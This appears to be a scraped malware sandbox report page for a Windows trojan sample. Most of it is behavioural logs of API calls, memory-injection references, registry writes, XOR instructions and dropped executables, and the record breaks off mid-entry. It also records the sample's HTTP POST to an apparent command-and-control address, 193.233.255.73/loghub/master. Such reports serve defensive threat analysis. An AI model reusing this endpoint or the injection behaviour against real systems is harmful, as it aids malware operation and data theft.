26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 8d:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4a1,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 0823ad8ade8f… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 0823ad8ade8f…. Malware family: Trojan.Generic. Threat score 100/100. 10/28 AV engines flagged this file. 17 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0823ad8ade8f13609979cb7340ec8ba45382d4e073b22b576bceb85d94412b63","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","0823ad8ade8f13609979cb7340ec8ba45382d4e073b22b576bceb85d94412b63"],"about":{"@type":"SoftwareApplication","name":"b04b96a73e3f5d5ab5cd20b1151f47ad.exe","applicationCategory":["peexe","executable"],"identifier":"0823ad8ade8f13609979cb7340ec8ba45382d4e073b22b576bceb85d94412b63","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":10,"total":28},"behavioralIndicators":{"malicious":17,"suspicious":24},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T5e0,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "FindResourceA" with parameter "19993208" - (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "FindResourceA" with parameter "19993216" - (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "FindResourceA" with parameter "19993244" - (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "FindResourceA" with parameter "19993456" - (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "FindResourceA" with parameter "19993272" - (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "FindResourceA" with parameter "19993428" - (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "FindResourceA" with parameter "19993440" - (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "FindResourceA" with parameter "6028440" - (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "FindResourceA" with parameter "19993324" - (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "FindResourceA" with parameter "19993420" - (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "FindResourceA" with parameter "6028436" - (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "FindResourceA" with parameter "19993288" - (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "FindResourceA" with parameter "19993296" - (UID: 00000000-00000768)28:Tb35,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20039808'}" (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20039664'}" (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20039824'}" (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20039712'}" (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20039680'}" (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20039728'}" (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20039776'}" (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20039648'}" (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20039760'}" (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20039792'}" (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20039696'}" (UID: 00000000-00000768) "pu4QC49.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18204800'}" (UID: 00000000-00002300) "pu4QC49.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18204656'}" (UID: 00000000-00002300) "pu4QC49.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18204816'}" (UID: 00000000-00002300) "pu4QC49.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18204704'}" (UID: 00000000-00002300) "pu4QC49.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18204672'}" (UID: 00000000-00002300) "pu4QC49.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18204720'}" (UID: 00000000-00002300) "pu4QC49.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18204768'}" (UID: 00000000-00002300) "pu4QC49.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18204640'}" (UID: 00000000-00002300) "pu4QC49.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18204752'}" (UID: 00000000-00002300) "pu4QC49.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18204784'}" (UID: 00000000-00002300) "pu4QC49.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18204736'}" (UID: 00000000-00002300)29:T78d,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP\ (UID: 00000000-00000768) "pu4QC49.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00002300) "pu4QC49.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00002300) "XJ8DL15.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00006800) "XJ8DL15.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00006800) "XJ8DL15.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00006800) "XJ8DL15.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP\ (UID: 00000000-00006800) "UG5dl07.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00007836) "UG5dl07.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00007836) "UG5dl07.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00007836) "UG5dl07.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00007836) "UG5dl07.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP\ (UID: 00000000-00007836) "Sj8xo42.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00007752) "Sj8xo42.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00007752) "Sj8xo42.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00007752) "Sj8xo42.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00007752) "Sj8xo42.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP004.TMP (UID: 00000000-00007752) "Sj8xo42.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP004.TMP\ (UID: 00000000-00007752)2a:T527,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")2b:T4af,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")2c:T6f7,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")2d:T945,Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")2e:T50a,file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "3kc5oj81.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "3kc5oj81.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "2va9153.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "2va9153.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "clip64.dll") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "clip64.dll") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp")2f:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}30:T1448,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-74-011536EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-74-011536EE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-42-0115202A Assembly shows XOR instruction xor eax 01h in Stream UID: 00000000-00002300-1671-42-0115202A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-42-0115202A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-63-01155467 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-63-01155467 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-52-01154EFD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-52-01154EFD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-44-01152AAC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-44-01152AAC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-15-01151F90 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-15-01151F90 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-22-0115681F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-22-0115681F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-40-01152267 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-40-01152267 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-66-01152630 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-66-01152630 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-71-01152CAA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-71-01152CAA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-26-011524E0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-26-011524E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-78-01155C9E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-78-01155C9E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-43-01151AE8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-43-01151AE8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-65-011553A1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-65-011553A1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-62-011555A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-62-011555A0 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00002300-1671-83-01157155 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00002300-1671-83-01157155 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00002300-1671-83-01157155 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00002300-1671-83-01157155 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00002300-1671-83-01157155 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-60-0115597D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-60-0115597D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-72-011518A3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-72-011518A3 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00002300-1671-36-01153BA2 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00002300-1671-36-01153BA2 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00002300-1671-31-01152390 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00002300-1671-31-01152390 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-37-01153FEF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-37-01153FEF Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-57-01156298 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-57-01156298 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-59-0115621E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-59-0115621E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-29-011552B6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-29-011552B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002300-1671-77-01152773 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002300-1671-77-0115277331:T157e,Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=2oDTDZYNoKt41mcixx6tContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=2oDTDZYNoKt41mcixx6tContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=2oDTDZYNoKt41mcixx6tContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=2oDTDZYNoKt41mcixx6tContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=2oDTDZYNoKt41mcixx6tContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=2oDTDZYNoKt41mcixx6tContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=2oDTDZYNoKt41mcixx6tContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "73Connection" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=2oDTDZYNoKt41mcixx6tContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=2oDTDZYNoKt41mcixx6tContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=JxBABF1f5WqoxJQ5MzgsContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" 